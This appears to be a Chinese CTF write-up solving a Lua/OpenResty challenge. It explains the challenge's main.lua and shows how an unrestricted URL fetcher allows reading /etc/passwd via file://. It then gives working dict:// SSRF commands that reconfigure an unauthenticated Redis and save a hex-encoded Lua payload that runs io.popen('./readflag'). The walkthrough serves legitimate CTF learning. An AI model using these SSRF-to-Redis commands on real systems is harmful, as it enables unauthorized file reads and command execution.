这道题目还是挺有意思的,不是传统的php之类的题目,而是一个lua的题目,不过代码量很少,很容易就可以看懂
这是基本的一个目录结构
该有的配置文件什么也都写在这里,只要懂一点的基本全部能理解,我们来分析一下。
从index.html开始看
<script>
function visitUrl() {
var url = document.getElementById('urlInput').value;
var iframe = document.getElementById('urlFrame');
iframe.src = '/visit?url=' + encodeURIComponent(url);
}
</script>
可以看到,当你点击这个visit的时候,带着框里面的参数跳转到/visit
路由这边。
而且可以从nginx.conf
文件中得知,/visit
对应的便是main.lua
文件
而至于main.lua
的路径为什么是这个,则是在Dockerfile
中有对应的操作。
那我们接下来就可以看到main.lua
中的代码了
local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end
local content = file:read("*a")
file:close()
return content
end
local function execute_lua_code(script_content)
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
local chunk, err = load(lua_code)
if chunk then
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
end
end
local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end
main()
整体不多而且很好懂,总的来说,其实这个main.lua
不实现任何功能,只是读取/scripts/visit.script
,
然后在里面使用正则表达式匹配如下式子
##LUA_START##(.-)##LUA_END##
就是匹配##LUA_START##
为开头,##LUA_END##
为结尾的所有内容,这个正则表达式很简单,还是能做到一看就看懂的
其实看不懂也没关系,我们可以打开这个文件看看就大概也能猜到了。
这里的代码没什么好看的,就是访问一个页面而已。1
不过这里其实以及可以看到有一点小思路了,因为这里它没有限制URL的种类,所以是可以使用其他的协议的,比如file协议,我试过可以读取大部分文件了,比如什么/etc/passwd之类的?url=file://localhost/etc/passwd
,但是没有什么吊用,因为即使flag在根目录你也读不出来!
为什么呢?可以查看Dockerfile寻找原因
这里居然把flag限制成了400权限,也就是说只有文件所属者只可读,所以就导致web服务是没办法读取flag的,file协议当然就没用了。
但是我们可以注意到,它给readflag文件运行了 chomod +xs
这意味着,readflag 在运行的时候,会以文件所有者的权限运行,而不是其他权限,也就意味着,我们只需要运行readflag就可以读取到flag了。
但是我们到这一步并没有任何手段可以运行任何应用程序,这时候可以注意到,程序是使用了redis作为页面的缓存,题目名字也在提示和缓存有关,那显然是要利用redis了,那么经过尝试我们是可以成功使用dict协议直接连接到redis,也没有账号密码什么的。
dict://127.0.0.1:6379/
所以我们的思路就是使用redis的漏洞覆盖掉/scripts/visit.script
里面的内容,让里面的内容变成运行readflag,并且返回结果给我们。
接下来就是常规的打redis的操作了,只不过到后面才有不同,所以前面的就不多赘述了,这里的所有目录都是可以从Dockerfile里面得知的。
首先更改redis工作目录
dict://127.0.0.1:6379/config%20set%20dir%20/scripts
然后更改redis数据库名
dict://127.0.0.1:6379/config%20set%20dbfilename%20visit.script
内容参数是
##LUA_START##
ngx.say(io.popen('./readflag'):read('*a'));
##LUA_END##
但是由于存在##会被理解成为注释导致代码无法正常写入,所以需要编码成十六进制,这一点卡了我很久。
dict://127.0.0.1:6379/SET%20ttt%20"\x23\x23\x4c\x55\x41\x5f\x53\x54\x41\x52\x54\x23\x23\x0d\x0a\x6e\x67\x78\x2e\x73\x61\x79\x28\x69\x6f\x2e\x70\x6f\x70\x65\x6e\x28\x27\x2e\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x27\x29\x3a\x72\x65\x61\x64\x28\x27\x2a\x61\x27\x29\x29\x3b\x0d\x0a\x23\x23\x4c\x55\x41\x5f\x45\x4e\x44\x23\x23\x0d\x0a"
然后保存就行
dict://127.0.0.1:6379/save
最后直接随便visit一个目标,让main.lua运行脚本就可以得到flag
发表评论